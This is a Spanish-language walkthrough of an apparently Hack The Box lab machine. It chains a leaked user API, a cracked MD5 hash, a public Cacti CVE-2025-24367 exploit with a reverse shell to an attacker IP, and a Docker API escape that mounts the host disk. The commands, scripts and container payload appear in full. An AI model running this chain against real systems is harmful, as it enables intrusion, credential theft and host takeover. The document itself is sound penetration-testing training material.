

Reconocimiento.

IP: 10.129.23.204.

SO: Windows.

Dificultad: Fácil.

Escaneo.

Se escanean los puertos abiertos haciendo uso de la herramienta Nmap .

```
nmap -Pn -n -sS -p- \
--max-retries 1000 \
'10.129.23.204'
```

Como resultado se obtienen los puertos 80/tcp (http) y 5985/tcp (wsman) .

Enumeración.

Ya que se identifica el puerto 80 se procede a entrar al sitio web, sin embargo, se recibe un error de DNS al dominio `monitorsfour.htb` así que se agrega este dominio a la lista de host. Una vez se logra entrar al sitio web el cual tiene el título `MonitorsFour - Networking Solutions` , dentro del sitio web hay un botón de login que redirige al directorio `/login` , se prueba con las credenciales por defecto `Username: admin` y `Password: admin` pero no se tiene éxito, así que se procede a enumerar sus tecnologías y sus respectivas versiones.

En el directorio `/login` se procede a revisar los archivos expuestos en la consola de desarrollador donde se detecta una infraestructura de frontend basada en librerías legacy las cuales son: `Pace.js` y `jQuery BlockUI` integradas en un archivo JS Core de 2015. Esta combinación indica una superficie de ataque vulnerable a la explotación de dependencias obsoletas y potenciales fallos de sanitización de DOM característicos de la época.

Se procede a enumerar los subdominios DNS con la herramienta Gobuster :

```
gobuster dns \
--domain 'monitorsfour.htb' \
--wordlist '/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt'
```

Pero no se encuentra ningún resultado, así que se procede a enumerar por VHOST:

```
gobuster vhost \  
--url 'http://monitorsfour.htb' \  
--wordlist '/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt' \  
--append-domain \  
--domain 'monitorsfour.htb'
```

Esta vez se encuentra el subdominio `cacti.monitorsfour.htb` con un código de estado 302, el cual indica que el recurso solicitado se ha trasladado, indicando una posible redirección por lo que se procede a entrar a este subdominio usando el navegador, se recibe un error de DNS, así que se adjunta este subdominio a la lista de host y se logra entrar exitosamente al sitio web.

En el subdominio `cacti.monitorsfour.htb` se encuentra una pagina web con el titulo `Login to Cacti`, un formulario de autenticación con `Username` y `Password` donde se prueban las credenciales por defecto `Username: admin` y `Password: admin` sin tener éxito. En el pie de pagina se encuentra la versión `1.2.28`. Investigando sobre la tecnología `Cacti` el cual es un marco de código abierto para la gestión del rendimiento y las incidencias.

CVE-2025-66399

Descripción: En versiones anteriores a la 1.2.29, existe una vulnerabilidad en la validación de entradas en la funcionalidad de configuración de dispositivos SNMP. Un usuario autenticado de Cacti puede proporcionar cadenas de comunidad SNMP manipuladas que contengan caracteres de control (incluidos saltos de línea), las cuales se aceptan, se almacenan tal cual en la base de datos y posteriormente se incorporan a las operaciones SNMP del backend. En entornos en los que las herramientas o envoltorios SNMP posteriores interpretan los tokens separados por saltos de línea como límites de comando, esto puede dar lugar a la ejecución involuntaria de comandos con los privilegios del proceso de Cacti. Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 7.4 HIGH

Enumeración de debilidades:

- **CWE-77:** Improper Neutralization of Special Elements used in a Command ('Command Injection').

Fuente: [NVD - CVE-2025-66399](#)

CVE-2025-26520

Descripción: En las versiones de Cacti hasta la 1.2.29, es posible realizar una inyección SQL en la función de plantillas de host_templates.php a través del parámetro graph_template. NOTA: este problema se debe a una corrección incompleta de la vulnerabilidad CVE-2024-54146.

Severidad: 7.6 HIGH

Enumeración de debilidades:

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

Fuente: [NVD - CVE-2025-26520](#)

CVE-2025-24368

Descripción: Algunos de los datos almacenados en automation_tree_rules.php no se comprueban exhaustivamente y se utilizan para concatenar la instrucción SQL en la función build_rule_item_filter() de lib/api_automation.php, lo que da lugar a una inyección SQL. Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 6.9 MEDIUM

Enumeración de debilidades:

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

Fuente: [NVD - CVE-2025-24368](#)

CVE-2025-24367

Descripción: Un usuario autenticado de Cacti puede aprovechar indebidamente la función de creación de gráficos y las plantillas de gráficos para crear scripts PHP arbitrarios en el directorio raíz web de la aplicación, lo que permite la ejecución remota de código en el servidor. Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 8.7 HIGH

Enumeración de debilidades:

- **CWE-144:** Improper Neutralization of Line Delimiters.

Fuente: [NVD - CVE-2025-24367](#)

🚫 CVE-2025-22604

Descripción: Debido a un fallo en el analizador de resultados SNMP de varias líneas, los usuarios autenticados pueden inyectar OID malformados en la respuesta. Al procesarse mediante `ss_net_snmp_disk_io()` o `ss_net_snmp_disk_bytes()`, una parte de cada OID se utilizará como clave en una matriz que forma parte de un comando del sistema, lo que provoca una vulnerabilidad de ejecución de comandos. Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 9.1 CRITICAL

Enumeración de debilidades:

- **CWE-78:** Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Fuente: [NVD - CVE-2025-22604](#)

🚫 CVE-2024-54146

Descripción: Cacti presenta una vulnerabilidad de inyección SQL en la función de plantillas de `host_templates.php` al utilizar el parámetro `graph_template`. Esta vulnerabilidad se ha solucionado en la versión 1.2.29.

Severidad: 7.6 HIGH

Enumeración de debilidades:

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

Fuente: [NVD - CVE-2024-54146](#)

🚫 CVE-2024-54145

Descripción: Cacti presenta una vulnerabilidad de inyección SQL en la función `get_discovery_results` del archivo `automation_devices.php` al utilizar el parámetro

«network». Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 6.3 MEDIUM

Enumeración de debilidades:

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').

Fuente: [NVD - CVE-2024-54145](#)

🚩 CVE-2024-45598

Descripción: Antes de la versión 1.2.29, un administrador podía cambiar el parámetro «Poller Standard Error Log Path» (Ruta del registro de errores estándar de Poller) en el paso 5 de la instalación o en la pestaña «Configuración» > «Ajustes» > «Rutas» para que apuntara a un archivo local dentro del servidor. A continuación, bastaba con ir a la pestaña «Registros» y seleccionar el nombre del archivo local para que se mostrara su contenido en la interfaz de usuario web. Esta vulnerabilidad se ha corregido en la versión 1.2.29.

Severidad: 6.0 MEDIUM

Enumeración de debilidades:

- **CWE-22:** Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

Fuente: [NVD - CVE-2024-45598](#)

Se procede a enumerar los posibles directorios con la herramienta `Gobuster` para poder ampliar la superficie de ataque:

```
gobuster dir \  
--url 'http://monitorsfour.htb' \  
--follow-redirect \  
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt'
```

Se encontraron los directorios: `/contact`, `/login`, `/user`, `/views`, `/forgot-password` con un código de respuesta 200. También se encontraron los directorios: `/static` y `/controllers` con un código de respuesta 403.

Al entrar al directorio `/contact` se obtienen las líneas: Warning: include(/var/www/app/views/contact.php): Failed to open stream: No such file or directory in /var/www/app/Router.php on line 110 y Warning: include(): Failed opening 'var/www/app/views/contact.php' for inclusion (include_path='.:usr/local/lib/php') in /var/www/app/Router.php on line 110 .

El directorio `/login` ya se ha analizado.

El directorio `/user` recibo la línea `{"error":"Missing token parameter"}` , esto me da a pensar que se necesita otro parametro de nombre `token` , así que intento agregarlo:

```
curl 'http://monitorsfour.htb/user?token=0'
```

Como respuesta obtengo un JSON de usuarios con la información `id` , `username` , `email` , `password` , `role` , `token` , `name` , `position` , `dob` , `start_date` y `salary` . Entre la información obtenido existe el usuario con la propiedad `"username":"admin"` , `"password":"56b32eb43e6f15395f6c46c1c9e1cd36"` y `"name": "Marcus Higgins"` que son exactamente las credenciales necesarias para probar tanto en el formulario de login del dominio `monitorsfour.htb` como del subdominio `cacti.monitorsfour.htb` .

Debido a que la contraseña tiene forma de hash se usa la herramienta `Hashcat` para identificar el tipo y poder descifrarla con ayuda de diccionarios.

```
hashcat --identify '56b32eb43e6f15395f6c46c1c9e1cd36'
```

Como respuesta tengo diferentes tipos: `MD4` , `MD5` , `md5(utf16le($pass))` , `md5(md5($pass))` , `md5(md5(md5($pass)))` , `md5(sha1($pass))` , `md5(sha1($pass).md5($pass).sha1($pass))` , `md5(sha1(md5($pass)))` , `md5(strtoupper(md5($pass)))` , `NTLM` , `Radmin2` y `Lotus Notes/Domino 5` . Con ayuda de la IA se puede descartar la mayoría y se pone en primer lugar al tipo el tipo `MD5` .

```
hashcat -m 0 '56b32eb43e6f15395f6c46c1c9e1cd36' /usr/share/wordlists/rockyou.txt
```

En donde se logra descifrar con éxito el hash `56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1` . Usando estas credenciales se procede a probar en todos los formularios de autenticación.

Se prueban las credenciales en el dominio `monitorsfour.htb` y se logra una autenticación exitosa con las credenciales `Username: admin` y `Password: wonderful1` se intenta usar las mismas credenciales en el subdominio `cacti.monitorsfour.htb` para comprobar si existe reutilización de credenciales, sin embargo, no se logra una autenticación exitosa, se intenta usar las credenciales `Username: marcus` y `Password: wonderful1` las cuales funcionan y se logra entrar con éxito al sitio.

Al lograr la autenticación en el dominio `monitorsfour.htb` se obtiene una pagina con el titulo `MonitorsFour - Admin Dashboard` y un menú con las opciones `Dashboard` , `Tasks` , `Invoices` , `Users` , `Customers` , `Changelog` y `Generate API Key` . Por el lado del subdominio `cacti.monitorsfour.htb` se tiene una pagina con el titulo `Console` y un menú de navegación con las opciones `Console` , `Graphs` , `Reporting` y `Logs` .

Continuando con los directorios encontrados con `Gobuster` , se procede a ver `/views` en el que se recibe exactamente la misma pagina de inicio pero sin estilos.

En el directorio `forgot-password` hay un formulario para recuperar la cuenta, sin embargo, al usar un correo aleatorio se recibe el mensaje `If the email address is associated with an account you will receive an email shortly with further instructions!` .

Enumerando los posibles directorios del subdominio `cacti.monitorsfour.htb` con la herramienta `Gobuster` :

```
gobuster dir \  
--url 'http://cacti.monitorsfour.htb' \  
--follow-redirect \  
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt'
```

Se recibe el error `the server returns a status code that matches the provided options for non existing urls.`

Ya se ha establecido la superficie de ataque y se organizan las posibles vulnerabilidades en orden de severidad:

- [CVE-2025-22604](#) (9.1)
- [CVE-2025-24367](#) (8.7)
- [CVE-2025-26520](#) (7.6)
- [CVE-2024-54146](#) (7.6)
- [CVE-2025-66399](#) (7.4)
- [CVE-2025-24368](#) (6.9)
- [CVE-2024-54145](#) (6.3)
- [CVE-2024-45598](#) (6.0)

Explotación.

Ya que se tiene acceso por medio de credenciales a la tecnología `Cacti` que posee la versión `1.2.28` y que la vulnerabilidad mas critica que me permite un RCE es `CVE-2025-24367` procedo a buscar en Internet posibles scripts que me ayuden a explotarla, encontré el repositorio `https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git` y lo clone en mi

maquina local, siguiendo las instrucciones del repositorio pongo a escuchar con la herramienta `Netcat` y ejecuto el script quedando de la siguiente forma:

```
python3 exploit.py -u marcus -p wonderful1 -i 10.10.14.168 -l 4444 -url http://cacti.monitorsfour.htb
```

Y logrando un RCE en mi terminal local así que se procede a estabilizarla.

```
/usr/bin/script -qc /bin/bash /dev/null
```

Luego de ejecutar el comando se oprime `Ctrl+Z` luego:

```
stty raw -echo; fg
```

Y finalmente:

```
export TERM=xterm
```

Para establecer el tamaño de la consola para que sea acorde a mi terminal local primero obtengo el tamaño.

```
stty size
```

Obteniendo como resultado `28 153` , y se usa el siguiente comando en el RCE.

```
stty rows 28 cols 153
```

Postexplotación.

Ya que se tiene un RCE funcional se busca escalar privilegios, así que se empieza verificando si se esta dentro de un contenedor Docker

```
ls -la /.dockerenv
```

Recibiendo como respuesta que se encontró el archivo por lo que se sabe que se esta dentro de un contenedor, por lo que el objetivo es escapar del contenedor.

Se sabe que `host.docker.internal` es un nombre de DNS especial que Docker Desktop utiliza para que un contenedor pueda encontrar la dirección IP del host real sin conocerla de antemano. El puerto `2375` es el puerto por defecto para la Docker Remote API (sin cifrar).

Si este puerto está abierto y accesible, cualquier usuario puede enviar comandos al host para crear nuevos contenedores, montar el disco duro real o ejecutar procesos como `root` .

```
curl -v http://host.docker.internal:2375/
```

El resultado indica un fallo en la conexión, lo que significa que el vector de ataque por este puerto específico no está disponible, sin embargo, el contenedor logró traducir el nombre a la IP `192.168.65.254` . Se intenta hacer una petición a esta IP haciendo uso del endpoint `/version`

```
curl http://192.168.65.254:2375/version
```

Y se obtiene como respuesta `Could not connect to server` , pero se sabe que hay una resolución DNS en la IP, así que se intenta ver si esa IP o sus "vecinas" tienen el agujero de seguridad de la API de Docker usando el siguiente script:

```
#!/bin/bash
SUBNET="192.168.65"
for i in $(seq 1 254);
do(
    TARGET="http://$SUBNET.$i:2375/version"
    curl -s --connect-timeout 1 "$TARGET" |
    grep -q "ApiVersion" &&
    echo "Host encontrado: $SUBNET.$i"
) &
done
wait
```

Se monta un servidor local usando `Python` .

```
python3 -m http.server 9000
```

Y se trasfiere el script por medio de la herramienta `Curl` usando la terminal RCE.

```
curl -s http://10.10.14.168:9000/script.sh -o scan.sh
```

Se le da permisos de ejecución.

```
chmod +x scan.sh
```

Luego se ejecuta el script.

```
./scan.sh
```

Como resultado se obtiene la linea `Host encontrado: 192.168.65.7` , por lo que se comprueba.

```
curl http://192.168.65.7:2375/version
```

Obteniendo como resultado una respuesta satisfactoria y sabiendo que la versión del contenedor es `28.3.2` . Ya que se tiene una IP funcional se procede a listar las imágenes disponibles.

```
curl -s http://192.168.65.7:2375/images/json
```

Teniendo como resultado las imágenes: `docker_setup-nginx-php:latest` , `docker_setup-mariadb:latest` y `alpine:latest` . Ahora se tiene que crear un contenedor que monte el sistema de archivos del host. Dentro de mi maquina local procedo a crear el siguiente script:

```
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/mnt/host_root"]
  },
  "Tty": true,
  "OpenStdin": true
}
```

Y se pasa por el servidor que se creo anteriormente.

```
curl -s http://10.10.14.168:9000/container.json -o container.json
```

Se crea el contenedor y se inicia a través de la API de Docker.

```
curl \
-X POST \
-H "Content-Type: application/json" \
-d @/tmp/container.json \
http://192.168.65.7:2375/containers/create?name=pwned
```

Obteniendo como resultado la linea

```
{"Id":"94be4b4b29a856594a0bba860d1b67cd926a951069491ed1c8af0f90040851b0","Warnings":[]}
```

Ahora se inicia el contenedor.

```
curl -X POST http://192.168.65.7:2375/containers/94be4b4b29a8/start
```

Como no se tiene el acceso directo, solo se procede a ver los registros.

```
curl http://192.168.65.7:2375/containers/94be4b4b29a8/logs?stdout=true
```

Obteniendo como resultado la bandera del root `38e9b1e70d3aab20d0b4996c0a9e8721` .

La bandera del usuario regular debería estar en la consola RCE

```
find / -name "user.txt" 2>/dev/null
```

Y se recibe como resultado la ruta `/home/marcus/user.txt` y se procede a ver con la herramienta `Cat` .

```
cat /home/marcus/user.txt
```

Y como resultado se obtiene la bandera del usuario la cual es

```
7511cd7cdbe9fe8a4455d57bf6023a17
```

Conclusiones.

Se completa con éxito la maquina obteniendo las banderas del usuario regular y del usuario root. Se obtienen las credenciales a partir de los directorios obtenidos en la enumeración el dominio `monitorsfour.htb` , se usan estas credenciales en el formulario de login del subdominio `cacti.monitorsfour.htb` y se hace uso de la vulnerabilidad `CVE-2025-24367` y del repositorio de GitHub <https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git> para obtener un RCE.

Ya que se tiene una terminal gracias al RCE se identifica que se esta dentro de un contenedor de Docker por lo que para escalar privilegios se tiene que escapar del contenedor, se empieza por identificar cual es la IP que tiene una conexión estable con la API y se monta un nuevo contenedor haciendo uso de las imágenes disponibles, ya que se tiene el contenedor montado se procede a iniciarlo enviando un comando remoto de la

ubicación de la bandera del usuario root, para obtener la bandera del usuario regular se busca dentro de la terminal del RCE, completando con éxito los objetivos de la maquina.